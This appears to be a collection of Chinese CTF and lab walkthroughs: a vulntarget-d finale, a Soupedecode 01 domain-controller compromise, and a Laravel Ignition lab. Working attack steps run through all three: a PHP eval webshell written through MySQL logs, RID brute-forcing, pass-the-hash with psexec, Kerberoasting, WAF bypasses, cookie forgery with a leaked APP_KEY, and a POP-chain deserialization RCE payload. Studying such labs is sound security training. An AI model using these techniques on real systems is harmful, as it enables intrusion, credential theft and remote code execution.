• s.php (密码: x) - 第一次尝试生成的，其实能用
• vulntarget.php (密码: vuln) - 第二次按官方流程生成的

3. 思维定式要不得

拿到管理员权限的webshell后，我本能地想着要”提权→抓密码→RDP登录”。但其实仔细想想：

• 我已经有管理员权限了
• Webshell可以直接读取文件
• 何必非要RDP？

反思：不要被套路束缚，根据实际情况选择最高效的方法。有时候最简单的方法就是最好的方法。

4. 文件搜索的技巧

通过webshell命令行搜索文件效率很低，尤其是返回内容混杂的情况下。

最佳实践：直接用webshell管理工具（如哥斯拉）的文件管理和搜索功能，可视化操作比命令行快得多。

技术要点回顾

Neo-reGeorg 使用要点

1
2
3
4
5
6
7
8
9
10

# 1. 生成加密tunnel
python neoreg.py generate -k <密钥>

# 2. 上传 neoreg_servers/tunnel.php 到web目录

# 3. 启动本地SOCKS5代理
python neoreg.py -u http://目标/tunnel.php -k <密钥> -p 1080

# 4. 配置工具使用代理
socks5://127.0.0.1:1080

MySQL日志写shell要点

1
2
3
4
5
6
7
8

-- 设置日志路径（注意路径格式）
SET GLOBAL general_log_file='C:/phpstudy/PHPTutorial/www/shell.php';

-- 开启日志（如果未开启）
SET GLOBAL general_log='ON';

-- 写入一句话木马
SELECT '<?php eval($_POST["pass"]); ?>';

注意事项：

• 生成的日志文件会包含MySQL日志头部
• PHP代码能正常执行，不要被混杂的日志内容迷惑
• 文件大小通常在几百字节到1KB之间

工具清单

结语

这次vulntarget-d靶场的实战演练让我收获很多：

1. 工具选择的重要性 - 合适的工具能大幅提升效率，不要在性能差的工具上浪费时间

2. 不要被表象迷惑 - MySQL日志写shell虽然返回内容混杂，但其实一直都在正常工作

3. 灵活变通 - 有了管理员webshell就能直接读flag，不必执着于”标准流程”

4. 细节决定成败 - 文件名 falg.txt 而不是 flag.txt，这种小细节很容易被忽略

总的来说，这是一个很好的内网渗透练习靶场，涵盖了代理搭建、弱口限利用、日志写shell等常见技术点。推荐给想练习内网渗透的朋友们！

最终Flag: c69afdfaaf2f7d820bb2c9ff4598d225

完成时间: 2026-07-06

Happy Hacking! 🎯

复刻自 TryHackMe Soupedecode 01，单机域控练习，flag 在目标 C 盘根目录下。
目标：192.168.111.20 本机：192.168.111.25 VPN 已连接

0x00 前言

这是棉花糖复刻的 TryHackMe Soupedecode 01 域控渗透靶场，考点覆盖了从外网侦察到域内提权的完整链路。这篇文章记录了实际操作的全过程，包括每一步踩的坑和思路转折，希望能帮到同样在学 AD 渗透的朋友。

0x01 端口扫描与服务识别

先用 fscan 快速扫一遍常见端口：

1

fscan.exe -h 192.168.111.20

扫出 4 个端口：135、139、445、88。但 fscan 默认只扫常见端口，漏掉了域控的关键服务。用 PowerShell 写了个快速 TCP 探测，把域控典型端口全测了一遍：

1
2
3
4
5
6
7
8
9
10
11

53    OPEN   DNS
88    OPEN   Kerberos
135   OPEN   RPC
139   OPEN   NetBIOS
389   OPEN   LDAP
445   OPEN   SMB
636   OPEN   LDAPS
3268  OPEN   全局目录 GC
3269  OPEN   全局目录 GC（SSL）
3389  OPEN   RDP
5985  OPEN   WinRM

53（DNS）、88（Kerberos）、389/3268（LDAP）、445（SMB）、135（RPC）全在——这台机器是域控无疑，主机名 DC01。

0x02 FQDN 获取

渗透 AD 第一步要搞清楚域名。Windows AD 域有两套名字：

• NetBIOS 短名：SOUPEDECODE（fscan 扫出来的）
• FQDN 完整域名：需要主动获取

.local 不是默认后缀，不能猜。有两种方式拿到 FQDN：

方式一：匿名 LDAP 查 RootDSE

LDAP 服务器（389 端口）允许匿名绑定查询 RootDSE，里面有 defaultNamingContext 字段：

1
2
3
4
5
6

from System.DirectoryServices.Protocols import LdapConnection, AuthType
conn = LdapConnection("192.168.111.20:389")
conn.AuthType = AuthType.Anonymous
conn.Bind()
# 查 RootDSE
# defaultNamingContext = DC=soupedecode,DC=local

把 DC= 去掉用点拼起来就是 FQDN：soupedecode.local，Kerberos realm 用 SOUPEDECODE.LOCAL。

小坑：用 ADSI（DirectoryEntry）匿名绑定时，它会偷偷用当前 Windows 登录身份去认证，反而连不上。换成 LdapConnection + 强制 Anonymous 才干净。

方式二：enum4linux-ng 通过 SMB 获取

enum4linux-ng 在 445 端口建立 SMB 会话后，会从 SMB 协议的协商响应里直接读到域信息，不需要任何凭据：

1

enum4linux-ng -P 192.168.111.20

输出里的关键字段：

1
2
3
4

NetBIOS computer name: DC01
NetBIOS domain name: SOUPEDECODE
DNS domain: SOUPEDECODE.LOCAL
FQDN: DC01.SOUPEDECODE.LOCAL

SMB 协议在会话协商阶段会交换机器的完整域名信息，enum4linux-ng 帮你把它解析出来了。两种方式的区别：LDAP 走 389 端口查目录元数据，SMB 走 445 端口从协议握手里读。哪条通就用哪条，实战中两个都试一遍最稳。

0x03 空会话与匿名枚举（全部失败）

SMB 空会话

1

net use \\192.168.111.20\IPC$ /user:guest ""

用 net use 测了空会话和 guest 空密码。结果：

• SYSVOL/NETLOGON：拒绝匿名
• backup 共享：能连不能读（Access Denied）
• 用 smbclient -L //192.168.111.20 -U 'guest%' 列出共享，能看到 backup、NETLOGON、SYSVOL（Windows 下也可以用 net view \\192.168.111.20）

匿名 LDAP

匿名绑定成功了，但只能读 RootDSE 元数据（域名、命名上下文），子树搜索用户列表被拒（An operation error occurred）。

AS-REP Roasting

用 impacket 原版 GetNPUsers.py 对已知用户做 AS-REP Roasting：

1

GetNPUsers.py SOUPEDECODE.LOCAL/ -usersfile vusers.txt -request -dc-ip 192.168.111.20 -no-pass

结果：所有用户都启用了预认证（doesn't have UF_DONT_REQUIRE_PREAUTH set），没有可烤用户。

到这一步，所有”无凭据白嫖”的通道都试过了，全堵死。

0x04 突破口：guest + rpcclient + RID 爆破

这是整个渗透的转折点。

之前用 net use 测 guest 时，注意力全放在”能不能读共享、能不能调 enumdomusers”，都被拒就以为 guest 这条路死了。但其实 一个命令不行，不代表所有命令都不行。

关键区别在于：net use 只是建立通道，不会去管道里调 RPC 函数；而 rpcclient 会主动打开 \PIPE\lsarpc 命名管道调 LSA 接口。每个 RPC 接口有独立的权限检查，要逐个试探。

Windows 原生没有 rpcclient，在 WSL Kali 里装了 smbclient（含 rpcclient）：

1

rpcclient -U 'guest%' 192.168.111.20

进去后依次试三个命令：

1
2
3

rpcclient $> lsaquery          # 成功！拿到域 SID
rpcclient $> enumdomusers      # 被拒 ACCESS_DENIED
rpcclient $> lookupsids S-1-5-21-xxx-500   # 成功！反查出 Administrator

lsaquery 和 lookupsids 对 guest 放行了，enumdomusers 没有。这就是突破口——虽然不能批量列用户，但能逐个反查。

SID 与 RID 的关系

先搞清楚几个概念：

• SID（Security Identifier）：Windows 里每个安全主体（用户、组、计算机）的唯一标识符，格式 S-1-5-21-<域标识>-<RID>
• 域 SID：同一个域内所有主体共享的固定前缀，比如 S-1-5-21-875679470-3476450079-2794512899
• RID（Relative Identifier）：SID 的最后一段数字，域内每个主体各不相同

举个例子：

1
2

Administrator 的 SID = S-1-5-21-875679470-3476450079-2794512899-500
                                                域 SID（固定）         RID

RID 的分配规则：

关键点：lookupsids 这个 RPC 调用能把任意 SID 反查成用户名，而且 guest 权限就够用。所以只要拿到域 SID，从 500 开始逐个拼 域SID-RID 去查，就能枚举出所有用户名——这就是 RID 爆破能成功的根本原因。

RID 爆破

拿到域 SID 后，从 RID 500 开始递增，逐个 lookupsids 反查用户名：

1
2
3
4
5
6
7

SID="S-1-5-21-875679470-3476450079-2794512899"
for rid in $(seq 500 1200); do
  result=$(rpcclient -U 'guest%' 192.168.111.20 -c "lookupsids $SID-$rid" 2>/dev/null)
  if [ -n "$result" ] && ! echo "$result" | grep -q "NT_STATUS_NONE_MAPPED\|NT_STATUS_ACCESS_DENIED"; then
    echo "$rid: $result"
  fi
done

爆出来的有效用户：

RID 分配规则：500-502 是固定内置账户，1000+ 是普通用户和组。WP 里用 crackmapexec 的 --rid-brute 参数就是把这个循环自动化了。

0x05 密码喷洒

拿到用户列表后，用”用户名=密码”模式喷洒。ybob317:ybob317 命中（靶场常见套路，很多人把密码设成自己的用户名）。

这组凭据是域账户密码，不是某个协议的密码。AD 的精髓就是单点登录——一套凭据通吃 SMB、LDAP、Kerberos、RDP、WinRM 等多个协议。密码对了只是认证通过，能不能用还要看每个协议的授权层。

0x06 拿到第一份情报：backup 共享

用 ybob317 认证后重新枚举共享，比匿名时多了 ADMIN$、C$：

1

net view \\192.168.111.20

backup 共享现在能读了（之前 guest 只能连不能读），里面有 backup_extract.txt：

1

copy \\192.168.111.20\backup\backup_extract.txt backup_extract.txt

内容是所有机器账户的 NTLM 哈希和 Kerberos key：

1
2
3
4

FileServer$:1142:aad3b435b51404eeaad3b435b51404ee:3647bc99352403e306780b2c0c63a685:::
WebServer$:1143:aad3b435b51404eeaad3b435b51404ee:9bcde1e9b9f1d387b4384df7a6999d74:::
...
soupedecode.local\FileServer$:aes256-cts-hmac-sha1-96:73aed49ef2f5...

0x07 Pass-the-Hash 拿 SYSTEM

backup 文件里的是 NTLM 哈希，不是 Kerberos 票据。NTLM 哈希可以直接用（Pass-the-Hash），不用爆破——因为 Windows 认证只验哈希不验密码，有哈希等于有密码。

逐个测试机器哈希，FileServer$ 登录成功且有管理员权限（能访问 C$ 和 ADMIN$）：

1
2
3
4

from impacket.smbconnection import SMBConnection
s = SMBConnection("192.168.111.20", "192.168.111.20")
s.login("FileServer$", "", "SOUPEDECODE", "", "3647bc99352403e306780b2c0c63a685")
# C$ 和 ADMIN$ 都能访问 = 管理员权限

用 psexec.py 拿交互式 shell：

1

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3647bc99352403e306780b2c0c63a685 "SOUPEDECODE.LOCAL/FileServer$@192.168.111.20"

cmd 里 $ 不是特殊字符，直接写 FileServer$，不要加反斜杠转义。

psexec 的原理：用 PTH 认证连上 ADMIN$ 共享 → 上传一个远程 shell 服务 → 通过 SCM 创建并启动服务 → 拿到 SYSTEM 权限的 cmd。

1
2
3
4
5

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\flag.log
bd42e8070dd53effd2c93ae6c7e08685

flag 到手。

WP 的另一条路：Kerberoasting

Writeup 里走了另一条路拿凭据——Kerberoasting。和我们从 backup 文件直接拿 NTLM 哈希不同，WP 是用 ybob317 的凭据去烤 TGS 票据：

1
2

# 探测有 SPN 的服务账户并请求票据
GetUserSPNs.py SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.111.20 -request

输出拿到 file_svc 服务账户的 TGS 票据 hash：

1

$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SPN/*file_svc$:<hash...>

这个 hash 的原理：TGS 票据是用服务账户密码的 NTLM hash 加密的，拿到票据后可以离线爆破，爆破成功就得到服务账户的明文密码。

两种路线对比：

核心区别：NTLM 哈希是钥匙，拿到直接用；TGS 票据是上锁的箱子，拿到要爆破。 我们运气好，backup 文件直接给了 NTLM 哈希，省去了爆破步骤。WP 没有 backup 这条路（或者没发现），只能走 Kerberoasting 爆破。

补充：如果 backup 文件里还有 AES256 key（aes256-cts-hmac-sha1-96），那也是钥匙级别的——拿到可以直接 Pass-the-Key，不用爆破。TGS 票据之所以要爆破，是因为它不是 key 本身，而是用 key 加密后的密文。

0x08 完整攻击链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

guest 空密码登录 rpcclient
    ↓
lsaquery 拿域 SID
    ↓
RID 爆破枚举全量用户（ybob317）
    ↓
密码喷洒 ybob317:ybob317 命中
    ↓
ybob317 读 backup 共享 → backup_extract.txt（机器账户 NTLM 哈希）
    ↓
Pass-the-Hash（FileServer$ 哈希）
    ↓
psexec.py → SYSTEM
    ↓
type C:\flag.log → flag

0x09 关键概念总结

为什么”没有凭据但需要用户名”

一组凭据 = 用户名 + 密码。用户名是能”白嫖”的半组凭据（KDC 会泄露存在性），密码是要攻击的半组。先把便宜的半组搞到手，再攻贵的半组。

NTLM 哈希 vs Kerberos 票据

• NTLM 哈希 = 钥匙，拿到直接用（PTH）
• Kerberos 票据（$krb5tgs$） = 上锁的箱子，拿到要爆破
• Kerberos key（AES256 等） = 钥匙，拿到直接用（Pass-the-Key）

每个端口背后的能力

一个命令不行不代表全不行

enumdomusers 被拒，但 lsaquery 和 lookupsids 没被拒。每个 RPC 接口有独立权限检查，要逐个试探。这是 RID 爆破能成功的根本原因。

0x0A 工具清单

0x0B 踩坑记录

1. net use 删连接报 1219：删的时候要用完整共享路径 \backup，不能只写服务器根
2. ADSI 匿名绑定失败：DirectoryEntry 会偷用当前身份，换 LdapConnection + Anonymous
3. kerbrute Encoding_Error 不是 AS-REP：是解析 bug，要用 GetNPUsers.py 确认
4. WSL 网络不通：要开 networkingMode=mirrored，重启 WSL 才生效
5. psexec 报 ACCESS_DENIED：cmd 里 $ 不需要转义，直接写 FileServer$
6. cme v5.22 跑不了：依赖 imp 模块，Python 3.12+ 删了，需要旧 Python

0x0C 远程 Shell 工具：各种 exec 的区别

拿到凭据或哈希后，需要远程执行命令拿 shell。impacket 自带了多种 exec，底层走的 Windows 远程执行机制各不相同，一个被堵就换另一个。

psexec.py — SMB + 服务控制管理器

原理：用凭据/哈希连上 ADMIN$ 共享 → 上传一个 exe → 通过 RPC 调 SCM 创建 Windows 服务指向该 exe → 启动服务 → 拿到半交互式 shell。退出时删文件、删服务。

特点：会落地文件、创建服务，痕迹明显但最稳定，拿到的是 SYSTEM 权限（服务以 LocalSystem 跑）。

1

psexec.py -hashes aad3b...:3647bc... "SOUPEDECODE.LOCAL/FileServer$@192.168.111.20"

wmiexec.py — WMI over DCOM

原理：通过 DCOM 连上 WMI 服务 → 调用 Win32_Process.Create 执行命令 → 输出重定向到临时文件 → 再通过 SMB 读文件拿回显 → 读完删除。

特点：不上传二进制、不创建服务，隐蔽性好，体感最快（每条命令只走一轮 WMI 调用）。但不是真交互式 shell，每条命令单独执行。拿到的是登录账户的权限，不是 SYSTEM。-codec gbk 解决中文回显乱码。

1

wmiexec.py -hashes :ec0df45863a3751d56ba6df1e72f7218 myd.com/Administrator@192.168.111.100 -codec gbk

smbexec.py — SMB + 计划任务

原理：不上传 exe，把命令写进 bat 文件，通过 SMB 共享让目标执行，输出重定向到临时文件再读回来。

特点：介于 psexec 和 wmiexec 之间，隐蔽性比 psexec 好，但比 wmiexec 慢。

atexec.py — 任务计划服务（TSCH）

原理：通过 RPC 调 Task Scheduler 创建一次性计划任务执行命令，跑完任务自动删除。

特点：适合”只想跑一条命令拿结果”的场景，不留持久痕迹。

dcomexec.py — DCOM（ShellWindows）

原理：走 ShellWindows 或 ShellBrowserWindow 这两个 DCOM 对象的 Execute 方法，跟 wmiexec 原理接近但走的 COM 接口不同。

特点：当 WMI 被监控或禁用时能顶上，算 wmiexec 的隐蔽变种。

对比表

非 impacket 的 exec

怎么选

实战决策顺序：先试 wmiexec（快、隐蔽）→ 不通就试 psexec（稳、拿 SYSTEM）→ 都不通就换 smbexec / atexec / dcomexec。想要 PowerShell 环境直接上 Evil-WinRM（前提 5985 开着）。批量打多台机器用 NetExec 一把梭。本质上这些工具的区别就是”用 Windows 的哪个远程执行机制”——服务管理器、WMI、计划任务、DCOM、WinRM，都是 Windows 自带的管理通道，各自需要的权限和留下的痕迹不同。

结语

这个靶场把 AD 渗透的侦察链串得很完整：从端口特征判定域控，到匿名通道逐个试探，到 RID 爆破突破用户名瓶颈，最后 PTH 拿 SYSTEM。最核心的一课是”一个命令不行不代表所有命令都不行”——SMB 空会话被拒不等于 RPC 接口全关，逐个试探才找到 lsaquery 和 lookupsides 这两个漏网的口子。

渗透测试本质就是个不断试错的过程，拿到新凭据后要回头重新走一遍之前的流程，经常会有新的发现。

flag: bd42e8070dd53effd2c93ae6c7e08685

靶场来源：雾島风起時
类型：综合 Web 渗透靶场
目标：ulab.bdziyi.cn:20737
通关时间：2026-07-03
Flag：flag{b2706734-f623-437e-8924-f94ab0ee81d0}
考察知识点：双写绕过 WAF、php://filter 编码绕过内容检测、Laravel Cookie 加密机制与密钥复用、POP 链反序列化构造

写在前面

这个靶场设计了一条完整的利用链，模拟了”三角洲通行证”代练交易平台被入侵的场景。整条链有六个阶段，环环相扣：信息收集、路径遍历、凭据泄露、Cookie 伪造、反序列化、拿 Flag。过程中踩了一个很经典的坑——一直默认后端是 Windows（因为报错路径写的是 D:\path\...），结果 exec() 重定向死活不出内容，换成 Linux 的 sh -c 包裹后秒通。这个教训后面会细说。

一、信息收集：摸清靶场底细

1.1 初始探测

从首页入手，发了一个普通的 GET 请求。响应头里立刻暴露了关键信息：

1
2
3

X-Powered-By: PHP/8.1.34
Set-Cookie: XSRF-TOKEN=eyJpdiI6...  (Laravel 加密 Cookie)
Set-Cookie: laravel_session=eyJpdiI6...  (Laravel 加密 Cookie)

两个 Cookie 的值都是 eyJpdiI6 开头的 base64——这是 Laravel 加密 payload 的 JSON 结构里的 iv 字段开头。基本可以确认这是 Laravel 框架。

页面内容是一个”三角洲护航”代练交易平台，有价格表、打手列表、登录注册入口。

1.2 路由梳理

逐个访问可见页面，梳理出前端路由：

前端 JS（/js/app.js）里还暴露了 API 调用方式：fetch('/cart/add', {...}) 带 X-CSRF-TOKEN 头。

1.3 关键发现：Ignition 端点

探测常见 Laravel 路径时，/.env 返回了一个不同寻常的 404 页面——不是 Laravel 默认的 404，而是一个带完整堆栈跟踪的错误页：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

Facade\Ignition\Exceptions\ViewException
View [] not found.

Target Endpoint: POST /_ignition/execute-solution
Required JSON Payload:
{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "viewFile": "..."
  }
}

Stack Trace:
  Illuminate\View\FileViewFinder->findInPaths('boosters', array('D:\path\resources\views'))

这个错误页直接暴露了三样东西：

1. 用的是 facade/ignition（Laravel 开发调试工具）
2. 利用端点 POST /_ignition/execute-solution，接受 viewFile 参数
3. 系统路径 D:\path\resources\views——注意这里写的是 Windows 风格路径，这个线索后面会坑我

接着验证了 /_ignition/health-check：

1

{"can_execute_commands": true}

Ignition 确实可用。这正是 CVE-2021-3129（Laravel Ignition RCE）的入口结构。

二、路径遍历：双写绕过 + filter 编码绕过

2.1 第一道 WAF：../ 过滤

直接往 viewFile 塞 .env 路径试试：

1
2
3
4
5
6
7

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "viewFile": "php://filter/convert.base64-encode/resource=.env",
    "variableName": "username"
  }
}

返回 {"error":"Unknown solution or not exploitable."}。换成 ../.env 也一样。

但用 index.php（当前目录的文件）时，响应变成了：

1

403 {"error":"WAF Alert: Sensitive content detected in response! Action blocked."}

从 404 变成了 403——说明文件能被读到，只是内容触发了 WAF。而 .env 在上级目录，../ 被 WAF 过滤掉了所以 404。

靶场源码（后面读到的 FileController.php）证实了过滤逻辑：

1
2

// 新增目录遍历过滤：将所有的 "../" 替换为空
$viewFile = str_replace('../', '', $viewFile);

str_replace 是单次替换，不递归。所以 ....// 替换一次后中间的 ../ 被删掉，剩下的 .. 和 // 拼起来正好还是 ../。这就是经典的双写绕过。

2.2 第二道 WAF：响应内容检测

用 ....// 绕过路径遍历后，读 .env 明文会触发内容检测：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

$sensitiveKeywords = [
    'APP_KEY', 'FLAG=', 'flag{', 'DB_PASSWORD',
    'DB_USERNAME', 'root', 'MAIL_PASSWORD',
    'Illuminate\\Foundation', 'PDOException', '<?php',
    // ...
];

foreach ($sensitiveKeywords as $keyword) {
    if (stripos($content, $keyword) !== false) {
        return response()->json([
            'error' => 'WAF Alert: Sensitive content detected in response!'
        ], 403);
    }
}

WAF 在响应内容里搜关键词。绕过方式很直接——用 php://filter/convert.base64-encode/resource= 把文件内容编码成 base64，WAF 就匹配不到明文关键词了。

2.3 两道 WAF 一起绕

组合双写 + filter：

1

viewFile = php://filter/convert.base64-encode/resource=....//.env

• ....// 经过 str_replace('../', '', ...) 后变成 ../，路径遍历恢复
• php://filter/...base64... 把文件内容 base64 编码，WAF 内容检测绕过

响应 200，返回了一大段 base64。解码后就是完整的 .env：

1
2
3
4
5
6
7
8
9
10
11
12

APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:Nxxpbkj/QV1f+5uICIZjdf4rG93Dq7gVQbHNOulFxxQ=
APP_DEBUG=true
APP_URL=http://localhost
...
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=

三、源码审计：摸清完整攻击面

拿到文件读取能力后，继续读源码搞清后续利用链。

3.1 FileController.php

1

viewFile = php://filter/convert.base64-encode/resource=....//app/Http/Controllers/FileController.php

解码后看到完整的 WAF 逻辑和隐藏文件校验：

1
2
3
4
5
6
7

// 检查如果读取的是隐藏的反序列化文件，必须校验管理员 Cookie
if (strpos($viewFile, '8167e48f725d4335b6388bdf54b5bd8a.php') !== false) {
    $roleCookie = $request->cookie('laravel_session');
    if (!$roleCookie || $roleCookie !== 'admin260117') {
        return response()->json(['error' => '无权限访问'], 403);
    }
}

读 8167e48f725d4335b6388bdf54b5bd8a.php 需要一个 laravel_session Cookie，明文值必须是 admin260117。但 laravel_session 会被 Laravel 的 EncryptCookies 中间件解密——不能直接发明文，得用 APP_KEY 加密伪造。

3.2 EncryptCookies 与加密格式

读了 vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php 和 Encrypter.php，确认：

• 加密算法：AES-256-CBC（APP_KEY base64 解码后 32 字节）
• Cookie 值格式：base64(json({iv, value, mac, tag}))
  • iv：随机 16 字节，base64 编码
  • value：AES-256-CBC 加密后密文的 base64
  • mac：hash_hmac('sha256', iv_b64 + value_b64, key)
  • tag：空字符串（非 AEAD 模式）
• 写 Cookie 时会加 CookieValuePrefix：hash_hmac('sha1', cookieName + 'v2', key) + '|'
• 加密前明文 = prefix + 实际值
• $serialize 默认 false——Cookie 解密后不会 unserialize

这意味着：要伪造 laravel_session，需要：

1. 用 APP_KEY 算出 laravel_session 的 CookieValuePrefix
2. 明文 = prefix + "admin260117"
3. AES-256-CBC 加密，算 MAC，打包成 JSON，base64 编码

3.3 routes/web.php

1
2
3
4
5
6
7

// CTF 漏洞路由
Route::post('/_ignition/execute-solution', [FileController::class, 'executeSolution'])
    ->withoutMiddleware([
        \Illuminate\Session\Middleware\StartSession::class,
        \Illuminate\View\Middleware\ShareErrorsFromSession::class,
        \App\Http\Middleware\VerifyCsrfToken::class,
    ]);

这个路由显式禁用了 CSRF 和 Session 中间件，所以 POST 不需要 CSRF token。

四、Cookie 伪造提权

用 Python + pycryptodome 构造伪造 Cookie：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

import base64, json, hmac, hashlib, os
from Crypto.Cipher import AES

app_key = base64.b64decode("Nxxpbkj/QV1f+5uICIZjdf4rG93Dq7gVQbHNOulFxxQ=")
# 32 bytes -> AES-256-CBC

# Step 1: CookieValuePrefix
prefix = hmac.new(app_key, b"laravel_sessionv2", hashlib.sha1).hexdigest() + "|"
# 1ac69f4b7a0b43fca1014b4013e7667f6750474a|

# Step 2: plaintext = prefix + "admin260117"
plaintext = prefix + "admin260117"

# Step 3: AES-256-CBC encrypt with PKCS7 padding
iv = os.urandom(16)
pad_len = 16 - (len(plaintext) % 16)
padded = plaintext.encode() + bytes([pad_len] * pad_len)
cipher = AES.new(app_key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(padded)

value_b64 = base64.b64encode(ciphertext).decode()
iv_b64 = base64.b64encode(iv).decode()

# Step 4: MAC = hash_hmac('sha256', iv_b64 + value_b64, key)
mac = hmac.new(app_key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()

# Step 5: Package
payload = {"iv": iv_b64, "value": value_b64, "mac": mac, "tag": ""}
cookie_value = base64.b64encode(
    json.dumps(payload, separators=(",", ":")).encode()
).decode()

拿到伪造的 laravel_session Cookie 值后，带上它读隐藏文件：

1
2

viewFile = php://filter/convert.base64-encode/resource=8167e48f725d4335b6388bdf54b5bd8a.php
Cookie: laravel_session=eyJpdiI6InFpUEVQcldMd1NNeitnQzhkMFk5V0E9PSIs...

200 返回了 base64 编码的文件内容，解码后看到完整的 POP 链类定义和反序列化入口。

五、POP 链反序列化

5.1 隐藏文件暴露的 POP 链

8167e48f725d4335b6388bdf54b5bd8a.php 的内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

namespace App\Hidden;

class User {
    public $profile;
    public function __destruct() {
        if ($this->profile) { $this->profile->show(); }
    }
}

class Profile {
    public $db;
    public function __call($name, $arguments) {
        if ($this->db) { $func = $this->db; $func(); }
    }
}

class Database {
    public $host;
    public function __invoke() {
        if ($this->host) { echo $this->host; }
    }
}

class Command {
    public $cmd;
    public function __toString() {
        if ($this->cmd) { exec($this->cmd); }
        return "Command Executed";
    }
}

反序列化入口在同一个文件里：

1
2
3
4

// 验证 Cookie 解密后 == "admin260117" ...
$payload = $_POST['payload'] ?? file_get_contents('php://input');
@unserialize(base64_decode($payload));
echo "Deserialization triggered.";

5.2 POP 链调用路径

1
2
3
4
5
6
7
8

User::__destruct()
    -> $this->profile->show()
        -> Profile::__call('show', [])   // show() 不存在，触发 __call
            -> $func = $this->db; $func()
                -> Database::__invoke()   // db 是对象，当函数调用触发 __invoke
                    -> echo $this->host
                        -> Command::__toString()  // host 是对象，echo 触发 __toString
                            -> exec($this->cmd)   // 最终 RCE

5.3 构造 payload

本地有 PHP，直接用 serialize() 生成最准确：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

namespace App\Hidden;

class User { public $profile; /* ... */ }
class Profile { public $db; /* ... */ }
class Database { public $host; /* ... */ }
class Command { public $cmd; /* ... */ }

$cmd = new Command();
$cmd->cmd = "sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'";

$db = new Database(); $db->host = $cmd;
$profile = new Profile(); $profile->db = $db;
$user = new User(); $user->profile = $profile;

echo base64_encode(serialize($user));

序列化结果：

1

O:15:"App\Hidden\User":1:{s:7:"profile";O:18:"App\Hidden\Profile":1:{s:2:"db";O:19:"App\Hidden\Database":1:{s:4:"host";O:18:"App\Hidden\Command":1:{s:3:"cmd";s:53:"sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'";}}}}

注意类名长度——App\Hidden\Profile 是 18 不是 19（\ 算一个字符），App\Hidden\Database 是 19，App\Hidden\Command 是 18。手动数容易错，用 PHP 的 serialize() 最稳妥。

5.4 触发反序列化

直接 POST 到隐藏文件（不是通过 Ignition 端点，而是让它作为 PHP 执行），带伪造 Cookie 和 payload：

1
2
3
4
5

POST /8167e48f725d4335b6388bdf54b5bd8a.php
Cookie: laravel_session=（伪造的加密 Cookie）
Content-Type: application/x-www-form-urlencoded

payload=（base64 编码的序列化对象）

响应：Command ExecutedDeserialization triggered. —— 反序列化成功，__destruct 被触发，exec() 执行了。

六、获取 Flag

6.1 踩坑：exec() 不走 shell

一开始用 Windows 风格的命令（cmd /c echo ... > file.txt、type、dir），因为报错路径里的 D:\path\resources\views 让我以为后端是 Windows。结果：

• 反序列化每次都返回 Deserialization triggered
• 但落地的文件要么是 404（没创建），要么是 200 但内容为空

根本原因：PHP 的 exec() 在 Linux 上不会启动 shell，它直接 fork + execve。所以 > 重定向符号不会被解析——它只是作为参数传给了被调用的程序。必须用 sh -c 'cmd > file' 显式启 shell 来解析重定向。

6.2 转向 Linux 命令

换成 sh -c 'id > rce_linux.txt' 后，文件立刻有内容了：

1

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

确认：Linux 容器，root 权限。D:\path\... 那条报错路径是靶场故意放的干扰信息。

6.3 定位 Flag

1

find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -name "*flag*" -print 2>/dev/null

结果里有一条脱颖而出：

1

/tmp/aaa123/flag.txt

6.4 读取 Flag

1

sh -c 'cat /tmp/aaa123/flag.txt > rce_flag_final.txt'

把内容写到 public 目录，然后直接 HTTP GET 读：

1
2
3

GET /rce_flag_final.txt

flag{b2706734-f623-437e-8924-f94ab0ee81d0}

七、总结与踩坑笔记

攻击链全景

1
2
3
4
5
6
7
8
9
10
11
12

信息收集
  └→ 发现 /_ignition/execute-solution 端点
       └→ 路径遍历（....// 双写绕过 ../ 过滤）
            └→ php://filter base64 编码（绕过响应内容检测）
                 └→ 读取 .env → 拿到 APP_KEY
                      └→ 读取源码 → 发现隐藏文件 + 反序列化入口
                           └→ 用 APP_KEY 伪造 laravel_session Cookie（admin260117）
                                └→ 带伪造 Cookie 读隐藏文件 → 拿到 POP 链类定义
                                     └→ 构造 POP 链 payload → POST 触发反序列化
                                          └→ exec() 无回显 RCE
                                               └→ find 定位 flag → cat 读取
                                                    └→ flag{b2706734-...}

关键绕过对照

踩坑记录

坑一：误判后端系统

报错路径 D:\path\resources\views 看起来是 Windows，但实际后端是 Linux 容器。这个 D:\path 是靶场硬编码的干扰字符串，跟真实环境无关。教训：不要单凭一个字符串就下结论，用 id、uname -a 这种命令快速确认。

坑二：exec() 不走 shell

PHP 的 exec()、system() 等函数在 Linux 上不走 shell，>、|、&& 这些 shell 元字符不会被解析。要使用重定向、管道、命令链，必须显式 sh -c '完整命令' 包裹。这一步卡了不少时间——反序列化明明触发了，文件却一直空，直到换成 sh -c 才通。

坑三：手动构造序列化容易数错类名长度

